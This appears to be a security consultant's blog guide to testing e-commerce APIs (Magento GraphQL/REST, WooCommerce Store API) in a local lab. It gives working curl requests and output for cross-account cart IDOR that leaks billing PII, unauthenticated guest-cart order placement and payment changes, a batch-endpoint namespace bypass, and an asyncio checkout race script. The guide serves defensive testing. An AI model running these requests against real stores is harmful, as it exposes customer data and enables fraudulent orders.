Key Takeaways
- E-commerce APIs have a unique attack surface that generic GraphQL/REST testing methodologies don't cover - cart state machines, checkout workflows, and cross-API-layer authorization inconsistencies require commerce-specific testing approaches.
- Cart identifiers (masked IDs, JWTs, session tokens) function as bearer credentials for customer PII across every major commerce platform. A single leaked cart token can expose billing addresses, phone numbers, and transaction history.
- Building an IDOR matrix - testing every mutation with the attacker's token and the victim's resource ID - is the most reliable way to find authorization gaps. Platforms that enforce auth on 10 mutations may skip it on 3, and those 3 are your findings.
- Authorization behavior is often inconsistent across API layers. A GraphQL mutation that correctly blocks cross-account access may have a REST equivalent that doesn't. Test the same operation through every available code path.
- Multi-step checkout workflows are vulnerable to timing issues where the constraint check (auth, stock reservation) runs after the action is already committed. Concurrent request testing is essential for any commerce platform with a multi-step checkout.
- Stored XSS payloads submitted through commerce-specific input fields (street addresses, product reviews) may appear inert on the storefront but execute in server-side rendered admin panels.
Every GraphQL pentesting guide starts the same way. Run introspection. Check for injection. Try batching. Maybe test for depth limiting. Then you write your report and move on.
That works fine for a generic API. I've found the e-commerce approach is missing a few things.
E-commerce APIs have a somewhat underreported attack surface. You've got cart state machines that track billing addresses and phone numbers. Checkout workflows that move money between accounts. Sometimes multiple API layers where GraphQL and REST expose the same backend with different authorization models. Business logic that creates orders, modifies payment methods, and commits financial transactions. Staging or "proxying" layers where account management and cart functionality are handled by different systems. And underneath all of it, a cart identifier - a 32-character string or a signed JWT, handed to an anonymous browser - serving as the primary access control for plenty of interesting information, including customer PII.
I've spent the last several weeks doing continuous pentesting against commerce platforms. The methodology I actually use looks nothing like what's published or popularly mentioned on HackTricks or PayloadsAllTheThings. No doubt those resources are valuable starting points! A lot of us (including myself) learn the basics, but they cover generic GraphQL and REST patterns. Nobody covers the commerce-specific patterns: systematic mutation authorization testing, cart and checkout workflow abuse, error oracle techniques, REST API crossover testing, or stored XSS via commerce-specific input fields like street addresses and product reviews. That's what we're going to look at 🙂
For this guide, I'll walk through some of what I actually test and command patterns to look out for. All GraphQL examples use a local Magento Open Source 2.4.x lab, and I'll reference WooCommerce source code findings to show the same patterns appearing in a completely different codebase. The methodology applies to any commerce platform with an API: Adobe Commerce, Shopify custom storefronts, BigCommerce headless, WooCommerce's Store API. Magento is where I've found the most to learn because it has insanely deep mutation surface and a complex authorization model.
How to Set Up a Local Commerce Platform for Security Testing
You need a local instance of whatever commerce platform you're targeting. The examples in this guide use Magento because it's open source and has the deepest mutation surface to demonstrate against, but the methodology is platform-agnostic. If you're testing WooCommerce, stand up a WordPress instance with wp-env and the WooCommerce plugin. If you're testing Shopify, use a development store.
For Magento, Docker Compose makes this straightforward. Pull a Magento Open Source 2.4.x image and stand it up with MySQL and Elasticsearch. The bitnami image or the official Magento Docker setup both work. I use Mark Shust's Docker configuration for Magento - it handles the full stack including Redis, Elasticsearch, and Varnish, and it runs reliably on Linux and macOS.
Once the instance is up, log into the admin panel and verify a few things. These are not required but make following along easier and analysis more interesting. These are all common on production Magento instances and they make your test data realistic:
- Under
Stores > Configuration > Catalog > Product Reviews, enable guest reviews. - Under
Stores > Configuration > Sales > Payment Methods, enable Check/Money Order. - Under
Stores > Configuration > Sales > Shipping Methods, enable Flat Rate.
Create two customer accounts through the GraphQL API or the admin panel:
- Victim:
victim@test.local/VictimPass123!- populate this account with a cart containing at least one product, a shipping address, billing address, and a payment method (Check/Money Order works). We're simulating a real customer that is mid-checkout before distractions pop up. - Attacker:
attacker@test.local/AttackerPass123!- this is your testing account with its own separate cart and address.
Prerequisite Checklist
- Commerce platform running locally (Magento 2.4.x on Docker for these examples)
- Two customer accounts with populated carts, addresses, and payment methods
- Your favorite application proxy, Burp for me
- Guest product reviews enabled if the platform supports them
The victim account should look like a real customer who's been shopping - items in the cart, addresses saved, maybe an order or two in history. The more data, the more realistic your testing.
How Do You Enumerate a Commerce Platform's GraphQL Attack Surface?
Start with full introspection. Yes, everyone says this. But on a larger commerce platform, we need the target list of all mutations that touches money, PII, accounts, or cart states.
curl -s -X POST '<http://localhost:8080/graphql>' \\\\
-H 'Content-Type: application/json' \\\\
-d '{"query":"{ __schema { types { name kind fields { name args { name type { name kind } } } } } }"}'
On a stock Magento 2.4.x instance, you'll see around 650+ types and 80+ mutations. A hefty attack surface. We can use some Python or jq to extract just the mutation names:
curl -s -X POST '<http://localhost:8080/graphql>' \\\\
-H 'Content-Type: application/json' \\\\
-d '{"query":"{ __schema { mutationType { fields { name args { name type { name kind ofType { name } } } } } } }"}' \\\\
| python3 -c "
import sys, json
data = json.load(sys.stdin)
for f in data['data']['__schema']['mutationType']['fields']:
args = ', '.join(a['name'] for a in f['args'])
print(f\\\\"{f['name']}({args})\\\\")" | sort
This gives you a sorted list of every mutation with its parameter names. On Magento, you'll see things like addProductsToCart, setBillingAddressOnCart, setPaymentMethodOnCart, placeOrder, estimateTotals, cancelOrder, deleteCustomerAddressV2, createProductReview, and dozens more.
Next, try and pull the store configuration. This is unauthenticated and can sometimes tell you more than it should:
curl -s -X POST '<http://localhost:8080/graphql>' \\\\
-H 'Content-Type: application/json' \\\\
-d '{"query":"{ storeConfig { base_url secure_base_url store_name default_title } recaptchaV3Config { website_key forms } }"}'
The storeConfig query frequently leaks internal backend URLs, version identifiers, and timezone information. The recaptchaV3Config query tells you immediately whether CAPTCHA protection is enabled on any forms. An empty forms array and a blank website_key means reCAPTCHA is disabled globally - this is useful for batching and rate limit testing on the platform.
For REST-based commerce platforms, the equivalent recon step is endpoint enumeration. WooCommerce exposes its schema via /wp-json/wc/store/v1/ and /wp-json/wc/v3/, where the Store API has roughly 40 endpoints, most registered with permission_callback => '__return_true' (fully pre-auth). The REST API v3 requires OAuth or Basic Auth. Mapping which endpoints require authentication and which don't is your first deliverable.
Stash your introspection schema of course. You'll reference it throughout testing. Group the mutations by what they touch: cart mutations, address mutations, order mutations, payment mutations, account mutations, and review mutations.
Token Before The Cart - Is the Cart Token the Most Important Credential in E-Commerce?
Before testing individual mutations, you need to understand the architectural pattern that defines e-commerce security (in my recent experience, this may not be universally true). Every commerce platform needs a way for unauthenticated users to have a shopping session. The cart has to persist. The user hasn't logged in, so the platform generates some kind of identifier - a cart ID, a session token, a JWT - and passes it to the browser.
On Magento, it's a 32-character masked cart ID. On WooCommerce, it's an HS256 JWT called a "Cart-Token" signed with the WordPress salt. Shopify uses a cart token in its AJAX API. BigCommerce uses a cart ID. The implementation differs. The security property is the same: that identifier is the entire access control mechanism for the cart session.
This is security by obscurity operating as the primary access control for customer PII during checkout. A 32-character random string, or a JWT with a known signing scheme - that's the only thing between the internet and a customer's billing address, phone number, and cart contents. Though you're unlikely to find these design choices in production instances or live targets, understanding the building blocks here is essential.
When I first encountered this pattern on Magento, it seemed like a platform-specific design choice. After grepping through WooCommerce's source code, I found the same thing. WooCommerce's Cart-Token JWT has a 48-hour lifetime and, once obtained, bypasses CSRF nonce checks across the entire Store API. The token is returned in the Cart-Token response header and can even be passed as a ?session= GET parameter that clones the entire session to a new visitor. Every commerce platform has its own version of this problem because the fundamental constraint - anonymous users need persistent cart state - leads to the same architectural tradeoff.
What happens when this token leaks? On Magento, a leaked cart ID gives unauthenticated access to 9+ REST API endpoints with full PII. On WooCommerce, a leaked Cart-Token opens the entire Store API, skips nonce verification, and allows session cloning via URL parameters. That's a big blast radius for one leaked identifier. And yes, technically this is true for many authentication mechanisms! A stolen JWT, cookie, or secret header may grant similar access. The small difference here I hope to help make clear is; the shared architectural paradigm and different implementations make this a unique attack surface that requires special attention.
Vulnerability Patterns That Are Commonly Found Across Commerce Platforms
After testing multiple platforms, the same vulnerability patterns keep showing up. This is the framework I use for the rest of the assessment:
- Cart tokens as credentials. Every platform gives anonymous users a bearer-style token for cart operations. That token protects PII. It leaks through the same channels on every platform: Referer headers, access logs, browser history, cookies without
HttpOnly, response headers readable by JavaScript. - Inconsistent authorization across API layers. GraphQL enforces auth on mutation X but not mutation Y. REST skips auth entirely for the same operation. The Store API and admin API have different trust models for the same data. Build an IDOR matrix per API layer and cross-reference them.
- Admin panels as XSS execution environments. Modern storefronts auto-escape rendered content. Admin panels running server-side PHP templates often don't. Stored XSS payloads that look inert on the storefront fire in the admin panel.
- Race conditions in checkout state machines. Multi-step checkout with late-stage resource reservation is vulnerable to concurrent requests. If stock is checked at step 1 and reserved at step 7, the gap between them is your window.
- Error message oracles. Different error codes for "not authorized" versus "doesn't exist" enable resource enumeration. Every platform I've tested has at least one endpoint with this pattern. Behavior like this is well-documented and understood across the security community. This type of enumeration is often categorized as non-exploitable (until it isn’t).
The rest of this guide walks through each pattern with concrete PoCs. Keep this list in mind as a lens for what you're looking for at each phase.
Testing Authentication & Token Behavior on Commerce APIs
Generate tokens for both accounts and document the token behavior:
# Victim token
curl -s -X POST '<http://localhost:8080/graphql>' \\\\
-H 'Content-Type: application/json' \\\\
-d '{"query":"mutation { generateCustomerToken(email: \\\\"victim@test.local\\\\", password: \\\\"VictimPass123!\\\\") { token } }"}'
# Attacker token
curl -s -X POST '<http://localhost:8080/graphql>' \\\\
-H 'Content-Type: application/json' \\\\
-d '{"query":"mutation { generateCustomerToken(email: \\\\"attacker@test.local\\\\", password: \\\\"AttackerPass123!\\\\") { token } }"}'
Note the token lifetime. On Magento, the default is 3600 seconds (one hour). You can confirm this via the storeConfig query (look for customer_access_token_lifetime). For the obvious quick wins, you can try and get lucky through JWT manipulation; algorithm confusion (alg:none), empty/null signature, UID field swapping with the signature from another token. In my testing, Magento's token reader rejects all of these with "Composite reader could not read a token," but other commerce platforms may not. Some platforms may use different token formats entirely, so adjust your approach based on the platform.
Which Commerce API Mutations Require Re-Authentication and Which Don't?
I've gotten consistent on building a re-authentication consistency matrix (think AuthMatrix or Auth Analyzer Burp extensions). Some mutations require the current password, others don't. The inconsistency itself may be smoke:
Mutation | Requires Password? | Conclusion |
|---|---|---|
| No | Weak; token-only |
| Yes | Correct |
| Yes | Correct |
| No | Weak; token-only |
| No | Expected |
If deleteCustomer works with just a bearer token and no password confirmation, that means any stolen token can permanently delete the account. Probably worth reporting. The inconsistency between "email change requires password" and "account deletion doesn't" is worth calling out explicitly. That tells you re-authentication was applied selectively rather than as a policy. If you find it once, check everywhere else.
The same inconsistency shows up in REST APIs. WooCommerce's REST API v3 requires manage_woocommerce capability for order management but accepts consumer credentials via GET query parameters (?consumer_key=ck_xxx&consumer_secret=cs_xxx). Those credentials end up in server access logs, proxy logs, browser history, and Referer headers. Meanwhile, the Store API uses Cart-Token JWTs in headers. Two API layers on the same backend, two completely different auth* models, different leakage properties.
How to Test for BOLA andIDOR Across Commerce API Mutations
This is the most important phase and where I find the most vulnerabilities. The methodology is simple: test every mutation that accepts a resource ID using the attacker's token with the victim's resource ID.
The Framework
- Authenticate as the victim. Grab the victim's cart ID, address IDs, order IDs, and wishlist IDs.
- Authenticate as the attacker. Use the attacker's bearer token.
- For every mutation that accepts a cart ID, address ID, order ID, or any other resource identifier - call it with the attacker's token and the victim's ID.
- Document pass/fail for each one.
We are looking for aberrations or inconsistencies. If 7 out of 10 cart mutations reject cross-account access, and 3 don't, those 3 is where you focus.
Cart Mutation IDOR Matrix
Start by getting the victim's cart ID:
curl -s -X POST '<http://localhost:8080/graphql>' \\\\
-H 'Content-Type: application/json' \\\\
-H "Authorization: Bearer $VICTIM_TOKEN" \\\\
-d '{"query":"{ customerCart { id } }"}'
Then run through every cart mutation with the attacker's token and the victim's cart ID. Here's an example matrix I would build:
Mutation | Attacker -> Victim Cart | Result |
|---|---|---|
| Blocked | "cannot perform operations on cart" |
| Blocked | "cannot perform operations on cart" |
| Blocked | "cannot perform operations on cart" |
| Blocked | "cannot perform operations on cart" |
| Blocked | "cannot perform operations on cart" |
| Blocked | "cannot perform operations on cart" |
| Blocked | "cannot perform operations on cart" |
| Vulnerable | Returns victim's PII |
| Vulnerable | Returns shipping data |
| Vulnerable | Destroys victim's cart |
You’re used to doing this parsing Burp Intruder responses. What sticks out? Seven mutations enforce ownership and three don't. The three that don't are your findings.
Cross-Referencing API Layers
I found this exact inconsistency pattern in WooCommerce during a source code audit. WooCommerce's Store API registers about 40 endpoints, and the authorization model splits between the Store API (pre-auth with Cart-Token), the REST API v3 (requires manage_woocommerce), and legacy AJAX handlers (no nonce, no auth). The batch endpoint at /wc/store/v1/batch validates sub-request paths using stristr(), a case-insensitive substring search. By appending ?wc/store as a query string to any path, such as /wc/v3/orders?wc/store=1, the validation passes while WordPress routes to the actual path. That breaks namespace isolation between the pre-auth Store API and the authenticated REST API v3.
Build the IDOR matrix for every API layer independently, then cross-reference them. Authorization that holds in one API layer may not hold in another.
Case Study: The Estimate Mutations - How Can a Shipping Cost Calculator Leak Customer PII?
The estimateTotals mutation is designed to calculate shipping costs. It accepts a cart ID and a postal code. When called with the attacker's token and the victim's cart ID:
curl -s -X POST '<http://localhost:8080/graphql>' \\\\
-H 'Content-Type: application/json' \\\\
-H "Authorization: Bearer $ATTACKER_TOKEN" \\\\
-d @- <<'EOF'
{"query":"mutation { estimateTotals(input: { cart_id: \\\\"VICTIM_CART_ID_HERE\\\\", address: { country_code: US, postcode: \\\\"53703\\\\" } }) { cart { id email total_quantity items { uid quantity product { name sku price_range { minimum_price { final_price { value currency } } } } } prices { grand_total { value currency } } billing_address { firstname lastname street city postcode telephone } } } }"}
EOF
The response returns the victim's full cart including PII:
{
"data": {
"estimateTotals": {
"cart": {
"id": "abc123def456ghi789jkl012mno345pq",
"email": "victim@test.local",
"total_quantity": 1,
"items": [{
"product": {
"name": "Radiant Tee",
"sku": "WS12-XS-Blue",
"price_range": {
"minimum_price": { "final_price": { "value": 22, "currency": "USD" } }
}
}
}],
"prices": { "grand_total": { "value": 27, "currency": "USD" } },
"billing_address": {
"firstname": "Jane",
"lastname": "Victim",
"street": ["123 Secret Lane"],
"city": "Madison",
"postcode": "53703",
"telephone": "555-123-4567"
}
}
}
}
}
Email, full billing address, phone number, cart contents, pricing - all from a mutation that's supposed to calculate shipping costs. Meanwhile, the standard cart query correctly blocks the same request!
{
"errors": [{
"message": "The current user cannot perform operations on cart \\\\"abc123def456ghi789jkl012mno345pq\\\\"",
"extensions": { "category": "graphql-authorization" }
}]
}
The authorization check exists. It was applied to 10 mutations and skipped on 3.
Non-Cart BOLA
Don't stop at carts. Test address mutations (updateCustomerAddressV2, deleteCustomerAddressV2), order mutations (cancelOrder, reorderItems), and wishlist mutations (addProductsToWishlist, removeProductsFromWishlist).
Use the victim's resource IDs with the attacker's token for every single one.
Testing Checkout Workflows for Business Logic Vulnerabilities
This is where commerce-specific testing gets interesting. You can describe the checkout workflow as a state machine: add items, set addresses, set shipping, set payment, place order. Each step modifies the cart record. And on platforms with both GraphQL and REST APIs, the same backend operations can be triggered through different code paths with different authorization checks.
Unauthenticated Order Placement
The Magento REST API exposes a guest cart endpoint at /rest/V1/guest-carts/{masked_cart_id}/order. This endpoint is designed to let guest shoppers place orders. The problem: it doesn't verify that the cart actually belongs to a guest. Pass a registered customer's cart ID, and it places the order on their account.
curl -s -X PUT "<http://localhost:8080/rest/V1/guest-carts/VICTIM_CART_ID/order>" \\\\
-H 'Content-Type: application/json' \\\\
-d '{"paymentMethod":{"method":"checkmo"}}'
The API returns an error: {"message":"Invalid state change requested"}. This looks like it failed. It did not.
The order was created in the database before the error occurred. The root cause is a timing issue in the backend code (in my admittedly rough interpretation):
submitQuote():
1. $order = $this->orderManagement->place($order); // ORDER COMMITTED
2. $quote->setIsActive(false);
3. $this->quoteRepository->save($quote); // AUTH CHECK (too late)
The order management service commits the order to the sales_order table at step 1. The authorization plugin that should prevent guest API calls from modifying customer carts only fires at step 3, during the cart save. By then, the order already exists. And because the cart save fails, the cart stays active - meaning the attacker can repeat the same request and generate unlimited pending orders.
SELECT entity_id, customer_email, grand_total, status FROM sales_order;
-- entity_id | customer_email | grand_total | status
-- 3 | victim@test.local | 27.0000 | pending
-- 4 | victim@test.local | 27.0000 | pending
-- 5 | victim@test.local | 27.0000 | pending
-- 6 | victim@test.local | 27.0000 | pending
Four orders placed on the victim's account.
Checkout Race Conditions
WooCommerce's checkout has a related timing problem in a different form. The Store API checkout at /wc/store/v1/checkout processes orders in 7 sequential steps:
- Validate cart
- Process customer data
- Create draft order
- Validate order
- Process order
- Apply coupon holds
- Reserve stock
The gap between step 1 (validation) and step 7 (stock reservation) creates a TOCTOU window. Multiple concurrent checkout requests all pass validation before any of them reserve stock. The FOR UPDATE lock on the stock reservation SQL protects the final atomic INSERT, but it can't prevent 10 requests from all passing step 1 simultaneously.
import asyncio
import aiohttp
async def checkout(session, url, cart_token, payment_data):
headers = {'Cart-Token': cart_token, 'Content-Type': 'application/json'}
async with session.post(f"{url}/wp-json/wc/store/v1/checkout",
headers=headers, json=payment_data) as resp:
return await resp.json()
async def exploit():
# Create 10 sessions, each with the same limited-stock item and 1-use coupon
tokens = [await create_cart_with_item(i) for i in range(10)]
async with aiohttp.ClientSession() as session:
tasks = [checkout(session, TARGET, token, PAYMENT) for token in tokens]
results = await asyncio.gather(*tasks)
successful = [r for r in results if r.get('order_id')]
print(f"Successful orders: {len(successful)}") # May exceed stock limit
On Magento, the auth check happens after the order is committed. On WooCommerce, the stock check happens after the validation passes. The implementations differ but the bug class is the same: the constraint check runs too late in the pipeline. Every commerce platform with a multi-step checkout should be tested for this with concurrent requests.
Payment Method Modification Bypass
A related bypass exists on the payment method endpoint. PUT /rest/V1/guest-carts/{id}/selected-payment-method modifies the payment method on any customer's cart without authentication. Again, the only critical piece of information an attacker needs is the cart ID (a high barrier, but a singular one):
curl -s -X PUT "<http://localhost:8080/rest/V1/guest-carts/VICTIM_CART_ID/selected-payment-method>" \\\\
-H 'Content-Type: application/json' \\\\
-d '{"method":{"method":"checkmo"}}'
# Response: "3" (payment ID -- success, not an error)
This works because the payment method management code saves the cart through the model's direct $quote->save() method instead of the repository's $this->quoteRepository->save(). The authorization plugin is only hooked into the repository save path. Different path, different behavior.
The lesson: on any platform with multiple API layers, don't assume that authorization behavior is consistent between them. Test the same operation through every available path.
Conclusion
The estimate mutation that returns a customer's email, billing address, and phone number doesn't show up on any scanner. The order placement that succeeds despite returning an error response doesn't show up on any scanner. The error oracle that distinguishes "this order exists" from "this order doesn't exist" based on a one-word difference in the error message doesn't show up on any scanner. The REST endpoint that returns a customer's entire profile when you pass the same cart ID that the GraphQL API protects - no scanner tests for that.
Continuous, systematic, mutation-by-mutation testing is the only way to find these.
The common thread across everything so far, on Magento, on WooCommerce, and on every other commerce platform I've tested - inconsistency. The authorization check that exists on 10 mutations but was missed on 3. The REST API that trusts the same cart ID that GraphQL properly restricts. The save method that routes through an authorization plugin on one code path and skips it on another. The Store API that treats a cart token as sufficient to bypass CORS while the REST API demands consumer credentials.
Underlying all of it: the cart identifier as the last line of defense. A 32-character string or a signed JWT, handed to an anonymous browser, protecting a customer's full name, home address, phone number, and financial transaction history. It seems to me this is a classic case of security by obscurity; operating as the primary access control for customer PII. Not a bug in one platform, but as an interesting architectural pattern across a large industry.
When you're testing a commerce platform, don't just test categories of vulnerabilities. Build your matrix and test all mutations. Ensure you’re hitting every API layer and taking notes of the gaps.
The common thread across everything in this guide, on Magento, on WooCommerce, and on every other commerce platform I've tested, is inconsistency; The authorization check that exists on 10 mutations but was missed on 2, the REST API that trusts the same cart ID that GraphQL properly restricts, the save method that routes through an authorization plugin on one code path but skips is on another.
None of this shows up in a single vulnerability scan or is easily unearthed in a time-boxed engagement. This comes from building a matrix, testing every mutation, and cross-referencing every API layer systematically over time.
I've put a checklist at the bottom of this article to assist with testing.
If you’re even more interested whether your commerce platform or web applications hold up to this kind of methodology, reach out to us.
Testing Checklist
Use this as a phase-by-phase reference during engagements.
Schema & Configuration
- [ ] Full introspection query -- save response, count types and mutations
- [ ] Extract all mutation names with parameters
- [ ] Query
storeConfigfor backend URLs, version info, timezone - [ ] Check
recaptchaV3Config-- is reCAPTCHA enabled on any forms? - [ ] Query
dataServicesStorefrontInstanceContextfor API keys, environment IDs - [ ] Test
isEmailAvailablefor email enumeration - [ ] Verify array batching behavior (blocked vs. allowed)
- [ ] Map REST API endpoints and their permission models
- [ ] Identify all pre-auth endpoints (permission_callback, guest endpoints)
Cart Token Analysis
- [ ] Identify cart token format and lifetime (masked ID, JWT, session cookie)
- [ ] Test what a leaked cart token grants access to across all API layers
- [ ] Check if cart token bypasses CSRF/nonce protections
- [ ] Check if cart token is accepted via URL parameters (Referer leakage)
- [ ] Test session cloning behavior with stolen tokens
Authentication
- [ ] Generate tokens for both accounts, document lifetime
- [ ] Test JWT manipulation (alg:none, empty signature, UID swap)
- [ ] Build re-authentication consistency matrix across mutations
- [ ] Check if credentials are accepted via GET parameters (log leakage)
BOLA/IDOR
- [ ] Test every cart mutation with cross-account cart IDs (build the full matrix)
- [ ] Test address mutations (
update,delete) with cross-account address IDs - [ ] Test order mutations (
cancel,reorder) with cross-account order IDs - [ ] Test wishlist mutations with cross-account wishlist IDs
- [ ] Test
estimateTotalsandestimateShippingMethodsfor IDOR - [ ] Test
setCartAsInactive(or equivalent) for destructive IDOR - [ ] Test
mergeCartsandassignCustomerToGuestCartfor cart theft - [ ] Test batch/proxy endpoints for namespace isolation bypass
Business Logic
- [ ] Test guest cart order placement without authentication
- [ ] If error response received -- check database for created order
- [ ] Test payment method modification without auth
- [ ] Verify if cart remains active after order placement (infinite repetition)
- [ ] Test concurrent checkout requests for race conditions (stock oversell, coupon stacking)
- [ ] Test coupon hold timing under concurrent load